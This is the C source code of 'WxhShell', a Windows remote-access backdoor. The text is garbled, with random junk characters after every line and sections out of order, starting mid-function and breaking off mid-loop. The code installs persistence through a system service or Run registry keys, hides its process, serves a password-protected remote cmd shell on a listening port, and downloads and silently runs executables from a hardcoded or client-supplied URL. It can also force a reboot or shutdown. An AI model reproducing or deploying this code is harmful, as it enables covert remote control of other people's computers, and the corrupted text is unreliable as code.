    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %tP*_d:  
    if(Boot(SHUTDOWN)) P!]uJ8bi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^i|R6oO_5  
    else { 8xENzTR  
    closesocket(wsh); >Lo\?X~  
    ExitThread(0); 1(@$bsgu2  
    } -gvfz&Lz  
    break; 7?yS>(VmT  
    } hdDT'+  
  // 获取shell |RL#BKC`  
  case 's': { A1/@KC"&{G  
    CmdShell(wsh); & jqylX  
    closesocket(wsh); d Gp7EB`  
    ExitThread(0); <yipy[D  
    break; %[|^7  
  } 6C2~0b   
  // 退出 }@q/.Ct! x  
  case 'x': { s $Vv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K.xABKPVc  
    CloseIt(wsh); y.A3hV%6b  
    break; v82wnP-~7  
    } Kn:Ml4[;  
  // 离开 r>(,)rs(l  
  case 'q': { 3SIq od;%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *,JE[M  
    closesocket(wsh); 4fs d5#  
    WSACleanup(); \Wfw\x0.  
    exit(1); ,40OCd!  
    break; 6C&&="uww  
        } KFbB}oId  
  } e%[*NX/  
  } ;(?tlFc  
o{y}c->  
  // 提示信息 RKP, w %  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y2I7Zd .  
} FL{?W(M  
  } ^i%S}VK  
?zBu` 7j  
  return; J>  
} nx'c=gp  
upuN$4m&{  
// shell模块句柄 j4owo#OB-  
int CmdShell(SOCKET sock) g$s;;V/8e  
{ ^;_~ mq.  
STARTUPINFO si; 8NHm#Z3Ol  
ZeroMemory(&si,sizeof(si)); Kd-1EU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^0.8-RT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zkd{EMW  
PROCESS_INFORMATION ProcessInfo; X6cn8ak 3  
char cmdline[]="cmd"; OPNRBMD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /i"hViCrlG  
  return 0; G[mqLI{q  
} 8Nzn%0(Q  
[1vm~w'  
// 自身启动模式 Qx4)'n  
int StartFromService(void) ZK]qQrIwy  
{ :dt[ #  
typedef struct Ow4_0l&  
{ NVb}uH*i  
  DWORD ExitStatus; =R=V  
  DWORD PebBaseAddress; 8lV:-"+5  
  DWORD AffinityMask; ;}+M2Ec51  
  DWORD BasePriority; 6X@z(EEL  
  ULONG UniqueProcessId; NwF"Zh5eMW  
  ULONG InheritedFromUniqueProcessId; .u)KP*_  
}   PROCESS_BASIC_INFORMATION; D;!sH?J@+  
*5PQ>d G  
PROCNTQSIP NtQueryInformationProcess; 9}6_B|  
,7s>#b'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h*VDd3[#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~5HT _B U=  
nG'Yo8I^5  
  HANDLE             hProcess; \>5sW8P]H`  
  PROCESS_BASIC_INFORMATION pbi; H7'42J@  
>\1twd{u]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); []A9j ?_w  
  if(NULL == hInst ) return 0; 4;L|Ua  
QG*hQh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5 &8BO1V.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zn>lF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k)3N0]q6  
c \??kQH  
  if (!NtQueryInformationProcess) return 0; 9YI@c_1 Q  
0Ye/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qR.FjQOvn  
  if(!hProcess) return 0; iOZ9A~Ywy  
M1eh4IVE?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h^(U:M=A  
(LK@w9)i;  
  CloseHandle(hProcess); 7;p/S#P:  
h> bjG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p1'q{E+o*  
if(hProcess==NULL) return 0; G T~rr*X  
RP2$(%  
HMODULE hMod; Y!j/,FU  
char procName[255]; S!A:/(^WB  
unsigned long cbNeeded; P1OYS\  
C1{Q 4(K%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {qHQ_ _Bl  
;}6wj@8He  
  CloseHandle(hProcess); #om Gj&  
n}Z%-w$K#  
if(strstr(procName,"services")) return 1; // 以服务启动 dXDyY  
B4un6-<i  
  return 0; // 注册表启动 \'=svJ   
} +On2R&m  
s[7$%|~W  
// 主模块 #*:1Ch]B  
int StartWxhshell(LPSTR lpCmdLine) .~I:Hcf/  
{ iJh{ ,0))g  
  SOCKET wsl; |34k;l]E  
BOOL val=TRUE; r2f%E:-0G  
  int port=0; \GHj_r  
  struct sockaddr_in door; JQ ?8yl  
6DHZ,gWq  
  if(wscfg.ws_autoins) Install(); vV"YgN:  
~Q"qz<WO  
port=atoi(lpCmdLine); %J6>Vc!ix=  
:JBt qpo2  
if(port<=0) port=wscfg.ws_port; A PSkW9H  
!JdZ0l  
  WSADATA data; Zah<e6L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [GCaRk>b,  
&iD&C>;pf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z*VK{O)o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~rrl" a>  
  door.sin_family = AF_INET; >G1]#'6;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YO.ddy*59  
  door.sin_port = htons(port); Rex 86!TO  
d?5oJ'JU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 86KK Y2  
closesocket(wsl); hH$9GL{H  
return 1; k{!9 f=^   
} n2o)K;wW+  
`+."X1  
  if(listen(wsl,2) == INVALID_SOCKET) { @@3 NSKA  
closesocket(wsl); _TdH6[9  
return 1; guCCu2OTA%  
} Z9MU%*N  
  Wxhshell(wsl); HXh:8 3  
  WSACleanup(); Y x66Xy  
t\:=|t,  
return 0; modem6#x'  
w$]wd`N}  
} Lf.Ia *R:  
|BtFT  
// 以NT服务方式启动 mxH63$R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _`*G71PS  
{ oG hMO  
DWORD   status = 0; B)d 4]]4\\  
  DWORD   specificError = 0xfffffff; d=\TC'd"{  
i u0'[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; giIPK&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5ld?N2<8/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h0x'QiCc  
  serviceStatus.dwWin32ExitCode     = 0; UZ-pN_!Z:  
  serviceStatus.dwServiceSpecificExitCode = 0; x!7!)]h  
  serviceStatus.dwCheckPoint       = 0; %"#ydOy  
  serviceStatus.dwWaitHint       = 0; bO('y@)X  
.f[z_% ar  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >,Zn~8&Z  
  if (hServiceStatusHandle==0) return; }YiFiGf,  
19[.&-u"  
status = GetLastError(); klc$n07  
  if (status!=NO_ERROR) SEWdhthP  
{ b!/-9{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tr A ^JY  
    serviceStatus.dwCheckPoint       = 0; svt3gkR0  
    serviceStatus.dwWaitHint       = 0; p? w^|V  
    serviceStatus.dwWin32ExitCode     = status; WS@"8+re;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q7zpu/5?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1=X1<@*  
    return; 5+b73R3r  
  } 7 > _vH]  
t3v_o4`&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Xn9$C)  
  serviceStatus.dwCheckPoint       = 0; [1Qg *   
  serviceStatus.dwWaitHint       = 0; E KJ2P$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8wkt9:  
} %5n'+-XVj  
F[B=sI  
// 处理NT服务事件,比如:启动、停止 Lv)1 )'v0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZBQ@S  
{ qd'Z|'j  
switch(fdwControl) f"4w@X2F  
{ n-GoG(s..b  
case SERVICE_CONTROL_STOP: IO2@^jup  
  serviceStatus.dwWin32ExitCode = 0; T;,,!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CLuQ=-[|  
  serviceStatus.dwCheckPoint   = 0; r0pwKRE~t  
  serviceStatus.dwWaitHint     = 0; W]>%*n  
  { d<m.5ECC}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZP0D)@8  
  } u3Zu ~C  
  return; 0q]0+o*%  
case SERVICE_CONTROL_PAUSE: 4`o<e)c3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4l> d^L  
  break; \zDs3Hp  
case SERVICE_CONTROL_CONTINUE: R$Qhu xT|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CZ{7?:^f  
  break; *dC&*6Rx  
case SERVICE_CONTROL_INTERROGATE: v5{2hCdt  
  break; <33,0."K  
}; 6 =G=4{q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Y^tky$9  
} <q I!Dj{  
*|@386\  
// 标准应用程序主函数 rrphOG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V&Rwj_Y  
{ z'"Y+EWN  
EiZa,}A  
// 获取操作系统版本 #veV {,g  
OsIsNt=GetOsVer(); h7o.RRhK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cVr+Wp7K#|  
^oW{N  
  // 从命令行安装 4_$.gO  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8 tIy"5  
@tJic|)x  
  // 下载执行文件 ',rK\&lL6  
if(wscfg.ws_downexe) { M0 KU}h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?|\wJrM ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); P^ <to(|  
} ~sq@^<M)s  
GY^;$?  
if(!OsIsNt) { T{yJL<  
// 如果时win9x,隐藏进程并且设置为注册表启动 \F""G,AWq{  
HideProc(); de TD|R  
StartWxhshell(lpCmdLine); |y+_BZ5  
} k*Aee7  
else pmO0/ty  
  if(StartFromService()) `82Dm!V  
  // 以服务方式启动 l/\D0\x2  
  StartServiceCtrlDispatcher(DispatchTable);  Q7tvpU  
else K CH`=lX  
  // 普通方式启动 TNK1E  
  StartWxhshell(lpCmdLine); aeAx0yE[p  
8lA,3'z  
return 0; Ki&a"Fu3  
} 5OX[)Li  
k1s5cg=n(  
4%I[.dBnM  
n1:q:qMR1  
=========================================== GQQp(%T  
brlbJFZ19  
0'YJczDq:7  
5K)_w:U X  
LIQ].VxIs  
a;M{ -G  
" =2ED w_5E  
,|.}6\zl*{  
#include <stdio.h> _mwt{D2r}  
#include <string.h> Uqy/~n-v<  
#include <windows.h> ()F {kM8  
#include <winsock2.h> i" )_Xb_1  
#include <winsvc.h> n=AcN  
#include <urlmon.h> jIVDi~Ld  
3wcF R0f  
#pragma comment (lib, "Ws2_32.lib") lBAu@M  
#pragma comment (lib, "urlmon.lib") k}NM]9EAE  
het<#3Bo  
#define MAX_USER   100 // 最大客户端连接数 R^ P>yk8  
#define BUF_SOCK   200 // sock buffer GG +T-  
#define KEY_BUFF   255 // 输入 buffer `(=Kp=b  
CyW|k Dz  
#define REBOOT     0   // 重启 c %Cbq0+2  
#define SHUTDOWN   1   // 关机 I0z7bx  
+oq<}CNr{  
#define DEF_PORT   5000 // 监听端口 QCE7VV1Rw  
{*[(j^OE  
#define REG_LEN     16   // 注册表键长度  (/,l0  
#define SVC_LEN     80   // NT服务名长度 7 ]ysvSM  
Y$]zba  
// 从dll定义API 0K26\1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o[fg:/5)A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ke?,AWfG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '%XYJr:H[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y?3tf0t/  
Hq 3V+$  
// wxhshell配置信息 hh&$xlO)(v  
struct WSCFG { n-yUt72  
  int ws_port;         // 监听端口 ^2+ Vt=*  
  char ws_passstr[REG_LEN]; // 口令 LdN[N^n[H  
  int ws_autoins;       // 安装标记, 1=yes 0=no v$Hz)J.01  
  char ws_regname[REG_LEN]; // 注册表键名 L \E>5G;  
  char ws_svcname[REG_LEN]; // 服务名 IDFzyg_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c@3 5\!9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7bihP@I !  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jy?*`q1]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RLB"}&SF]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wCruj`$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R_KDY  
J:Qx5;b;  
}; }X^MB  
KvPCb%!ZP  
// default Wxhshell configuration V<jj'dZfW  
struct WSCFG wscfg={DEF_PORT, Zd>sdS`#r  
    "xuhuanlingzhe", Q47R`"  
    1, F}ATY!  
    "Wxhshell", H>%AK''  
    "Wxhshell", jTIG#J)  
            "WxhShell Service", 5P"R'/[PA_  
    "Wrsky Windows CmdShell Service", #]tDxZ] 6  
    "Please Input Your Password: ", Vb\g49\o/  
  1, L'? aoRj  
  "http://www.wrsky.com/wxhshell.exe", Sq ]gU  
  "Wxhshell.exe" <TtPwUX  
    }; 6{=U= *  
rSJ!vQo Cb  
// 消息定义模块 xL"J?Gy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YYYF a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,#3Aaw   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LkS tU)  
char *msg_ws_ext="\n\rExit."; L,y q=%h|  
char *msg_ws_end="\n\rQuit."; 8VMA~7^  
char *msg_ws_boot="\n\rReboot..."; M?" 4 {  
char *msg_ws_poff="\n\rShutdown..."; #xGP|:m  
char *msg_ws_down="\n\rSave to "; Qr$ 7 U6p  
K {v^Y,B  
char *msg_ws_err="\n\rErr!"; x,25ROaHY  
char *msg_ws_ok="\n\rOK!"; S W%>8  
Ia}qDGqPp!  
char ExeFile[MAX_PATH]; Xpg -rxX  
int nUser = 0; ?96r7C|  
HANDLE handles[MAX_USER]; |ffHOef  
int OsIsNt; "gM!/<~  
Yu_*P-Ja6  
SERVICE_STATUS       serviceStatus; E0+L?(;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (c0L H  
K $- *  
// 函数声明 >ceC8"}J5M  
int Install(void); $`3yImv+w  
int Uninstall(void); k4LrUd  
int DownloadFile(char *sURL, SOCKET wsh); t;w<n"  
int Boot(int flag); xn2nh@;  
void HideProc(void); @e3+Gs  
int GetOsVer(void); qP#LJPaS  
int Wxhshell(SOCKET wsl); -@(LN%7!C  
void TalkWithClient(void *cs); g:Qq%'  
int CmdShell(SOCKET sock); L.'61ZU  
int StartFromService(void); uK"  T~  
int StartWxhshell(LPSTR lpCmdLine); :k1?I'q%  
_F6<ba}o3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); erEB4q+ #O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ip{R'HG/  
VU,G.eLW  
// 数据结构和表定义 V0,JTWc  
SERVICE_TABLE_ENTRY DispatchTable[] = I~n4}}9M  
{ O00;0wu  
{wscfg.ws_svcname, NTServiceMain}, Ct)58f2  
{NULL, NULL} t/Io.d   
}; vK)'3%  
1<_][u@  
// 自我安装 CjpGo}a/  
int Install(void) T4.wz 58  
{ J"AR3b@,$?  
  char svExeFile[MAX_PATH]; qBBCnT  
  HKEY key; ux TgK'3  
  strcpy(svExeFile,ExeFile); 0 (-4"u>?  
)^o.H~Pv  
// 如果是win9x系统,修改注册表设为自启动 tI{]&dev  
if(!OsIsNt) { ~ q-Z-MA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^>l <)$s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;9z|rWsF  
  RegCloseKey(key); G%bv<_R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LhLAQ2~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ASbI c"S6  
  RegCloseKey(key); *zPqXtw!j  
  return 0; r!Dk_| Cd  
    } AA=Ob$2$  
  } aNu.4c/5  
} @lj|  
else { ?. ` ga*   
0}<blU  
// 如果是NT以上系统,安装为系统服务 EF :g0$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fU|v[  
if (schSCManager!=0) 9DA |;|  
{ j_g(6uZhz3  
  SC_HANDLE schService = CreateService k)I4m.0a5  
  (  =Iop  
  schSCManager, *MmH{!=  
  wscfg.ws_svcname, qa^cJ1@  
  wscfg.ws_svcdisp, jaEe$2F2  
  SERVICE_ALL_ACCESS, I;'{X_9$a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , As46:<!2  
  SERVICE_AUTO_START, Y_[7q<L  
  SERVICE_ERROR_NORMAL, yx|iZhK0:}  
  svExeFile, VrRF2(Kn?  
  NULL, ^o5;><S]  
  NULL, 1+*sEIC"  
  NULL, L-`V^{R]  
  NULL, zk{d*gN  
  NULL 4E.9CjN1>  
  ); %l!A%fn(  
  if (schService!=0) l[i4\ CT  
  { qvc< _k^  
  CloseServiceHandle(schService); fhN\AjB6Td  
  CloseServiceHandle(schSCManager); _R ]s1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )$TN%hV!  
  strcat(svExeFile,wscfg.ws_svcname); vU%K%-yXG7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jm%s#`)g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gra6&&^"  
  RegCloseKey(key); Chnt)N`/B4  
  return 0; F3(Sb M-  
    } 3]vVuQK.  
  } |j0_^:2r=  
  CloseServiceHandle(schSCManager); r =x"E$  
} 8:& ! F`o  
} _3%$E.Q  
Ct-eD-X{  
return 1; 0M;g&&mF  
} 8zHx$g  
t[2b~peNI  
// 自我卸载 [z!m  
int Uninstall(void) A<|9</9z  
{ V7U*09 0*5  
  HKEY key; y%vAEQ2j=  
Brxnl,%\  
if(!OsIsNt) { L[2N zw O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1_{e*=/y  
  RegDeleteValue(key,wscfg.ws_regname); ;MGm,F,o  
  RegCloseKey(key); 3?j: M]fR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o}r_+\n  
  RegDeleteValue(key,wscfg.ws_regname); 1P"7.{  
  RegCloseKey(key); XFoSGqD  
  return 0; $ H+X'1  
  } ykbfK$j z  
} R5e[cC8o.  
} y2+f)Xp_.C  
else { H^kOwmSzh  
uT=r*p(v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kO}%Y?9d  
if (schSCManager!=0) ?J2A.x5` a  
{ F1BvDplQ>G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (5] [L<L  
  if (schService!=0) F-ZTy"z  
  { =XQGg`8<LB  
  if(DeleteService(schService)!=0) { k'%yvlv  
  CloseServiceHandle(schService); 7ucm1   
  CloseServiceHandle(schSCManager); B~}BDnu6  
  return 0; 3(K.:376  
  } T"htWo{v>  
  CloseServiceHandle(schService); 8 !:2:  
  } `Eg X#  
  CloseServiceHandle(schSCManager); 1d+Kn Jy  
} ^`#7(S)a/  
} 4r_*: $g  
}=f\WWJf0  
return 1; 6, j60`f)  
} >|RoLV  
aJv+BX_,  
// 从指定url下载文件 $W}:,]hoj  
int DownloadFile(char *sURL, SOCKET wsh) ]0<K^OIY  
{ 7R[7M%H  
  HRESULT hr; &bJBsd@Os  
char seps[]= "/"; {Pe&J2 +  
char *token; 0= bXL!]  
char *file; .n_Z0&i/w  
char myURL[MAX_PATH]; vG6*[c8  
char myFILE[MAX_PATH]; H ABUf^~-  
mI<sf?.  
strcpy(myURL,sURL); "4xo,JUf  
  token=strtok(myURL,seps); I/upiqy  
  while(token!=NULL) whe%o  
  { :55a9d1bL  
    file=token; %n6<6t`$  
  token=strtok(NULL,seps); PUD8  
  } E4\HI+  
IHCxM|/k(M  
GetCurrentDirectory(MAX_PATH,myFILE); %I`'it2d  
strcat(myFILE, "\\"); *ze/$vz-  
strcat(myFILE, file); OR+_s @Yg  
  send(wsh,myFILE,strlen(myFILE),0); MV3K'<Y  
send(wsh,"...",3,0); 416}# Mk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /m>SEo\{C  
  if(hr==S_OK) qYVeFSS  
return 0; ,_V/W'  
else I+W,%)vb  
return 1; ;2`t0#J$]  
I m-M2n  
} 8cvSA&l(D  
cGo_qR/B(>  
// 系统电源模块 r/':^Ex  
int Boot(int flag) 9MJ:]F5+  
{ 6b2h\+AP  
  HANDLE hToken; 3&E@#I^] ,  
  TOKEN_PRIVILEGES tkp; x]hG2on!  
" +{2!  
  if(OsIsNt) { 3rZPVR$))  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'S74Ys=-0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H_S"4ISS_  
    tkp.PrivilegeCount = 1; F@ pf._c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -/B*\X[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w AdaP9h  
if(flag==REBOOT) { BINHCZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ukW L3  
  return 0; 8kd):gZKZ  
} wNl6a9#  
else { 8?'=Aeo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]C+P J:CC  
  return 0; bM_fuy55Op  
} +7lr#AvU/  
  } FncP,F$8   
  else { Xg USJ*  
if(flag==REBOOT) { J^DyhCs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s/>0gu]A8  
  return 0; WSU/Z[\`H  
} afaQb  
else { w .M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1S+T:n  
  return 0; `z/ p,. u  
} tNqSCjQ~_c  
} l.;^w  
v13\y^t  
return 1; m4~~q[t  
} c":2<:D&  
e<A>??h^  
// win9x进程隐藏模块 E)p[^1WC  
void HideProc(void) -!T24/l  
{ G:|]w,^i  
7FaF]G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >#T?]5Z'MF  
  if ( hKernel != NULL ) cj2^wmkB  
  { 8/P!i2o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +uNMyVH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S;#7B?j  
    FreeLibrary(hKernel); x=\W TC  
  } NVom6K  
l8%BRG  
return; PF)s>  
} eAQ-r\h'2  
>G[:Q s  
// 获取操作系统版本 YiL^KK  
int GetOsVer(void) 3RlNEc%)  
{ EuVA"~PA  
  OSVERSIONINFO winfo; w:1UwgcPC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Az?^4 1r8  
  GetVersionEx(&winfo); va#].4_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2>CR]  
  return 1; NSzTl-eS  
  else ]-+l.gVFW  
  return 0; 9RK.+ 2  
} `oO*ORq&  
7#N= GN  
// 客户端句柄模块 S%G&{5  
int Wxhshell(SOCKET wsl) 11A$#\,  
{ mgq4g  
  SOCKET wsh; xj]^<oi<  
  struct sockaddr_in client; C(xsMO'k,,  
  DWORD myID; v(uNqX.BC  
nF,zWr[x  
  while(nUser<MAX_USER) 8|!"CQJ|H  
{ kexvE 3  
  int nSize=sizeof(client); NUuIhB+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >V%.=})K  
  if(wsh==INVALID_SOCKET) return 1; \z@ :OR,  
hfvC-f97L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wr>6Go%  
if(handles[nUser]==0) gla'urb[i|  
  closesocket(wsh); -<u_fv  
else &pv* TL8  
  nUser++; .\ vrBf  
  } S[l z>I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aOUTKyR ~  
j0=H6Y  
  return 0; O_DT7;g  
} #~r+Z[(,p  
6>'>BamX  
// 关闭 socket TyR@3H  
void CloseIt(SOCKET wsh) (r1"!~d@  
{ Hm~.u.)\.  
closesocket(wsh); NR^3 1&}It  
nUser--; _?Ly7*UML  
ExitThread(0); D~2n8h"2ye  
} sr<\fW  
-(#`JT8  
// 客户端请求句柄 >G vd?r  
void TalkWithClient(void *cs) O4^' H}*  
{ 1 a%1C`d  
W$gjcsv  
  SOCKET wsh=(SOCKET)cs; D3+<16[,  
  char pwd[SVC_LEN]; C5X!H_p  
  char cmd[KEY_BUFF]; T IyHM1+  
char chr[1]; 1b2xWzpG  
int i,j; \`*]}48Z  
2Fbg"de3-  
  while (nUser < MAX_USER) { 4`?WdCW8  
AbX#wpp!  
if(wscfg.ws_passstr) { uPb.uG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v\=k[oOu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8;3I:z&muQ  
  //ZeroMemory(pwd,KEY_BUFF); fz+dOIU3\L  
      i=0; C&.Q|S2_  
  while(i<SVC_LEN) { Ma ]*Pled  
d @b ]/  
  // 设置超时 mU>lm7'  
  fd_set FdRead; ;"NW= P&  
  struct timeval TimeOut; z E\~Oa;  
  FD_ZERO(&FdRead); :M@#.  
  FD_SET(wsh,&FdRead); hz-^9U  
  TimeOut.tv_sec=8; pO N@  
  TimeOut.tv_usec=0; 87R$Y> V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @3?dI@i(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ERfSJ  
)jw!, "_4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u)Vn7zh  
  pwd=chr[0]; K/!>[d  
  if(chr[0]==0xd || chr[0]==0xa) { C]krJse@  
  pwd=0; jZ,=tF  
  break; cM=_i{c  
  } o4YF,c+>q  
  i++; sGGi7 %  
    } e#ne5   
~W_ T3@  
  // 如果是非法用户,关闭 socket Co:Rg@i(F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E$4Ik.k  
} zHXb[$ Q  
xHlO~:Lc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); or[!C %  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nbt.y 'd  
6KX/Yj~B  
while(1) { I5W#8g!{  
YF)c.Q0  
  ZeroMemory(cmd,KEY_BUFF); !Ic~_7"  
B~u`bn,iQ  
      // 自动支持客户端 telnet标准   Ka8Bed3  
  j=0; %p^`,b}  
  while(j<KEY_BUFF) { H  `_{n<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GAlM:>  
  cmd[j]=chr[0]; > NtJ)N*  
  if(chr[0]==0xa || chr[0]==0xd) { `m-7L  
  cmd[j]=0; 2Jt*s$  
  break; er2#h  
  } %WFZ&>en&  
  j++; K^c%$n:}+  
    } }J_#N.y  
gnw?Y 2  
  // 下载文件  9 -Xr  
  if(strstr(cmd,"http://")) { d-B,)$zE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H) q_9<;  
  if(DownloadFile(cmd,wsh)) 3:3>k8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;_A?Zl}  
  else q)y<\cEO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #M[%JTTn  
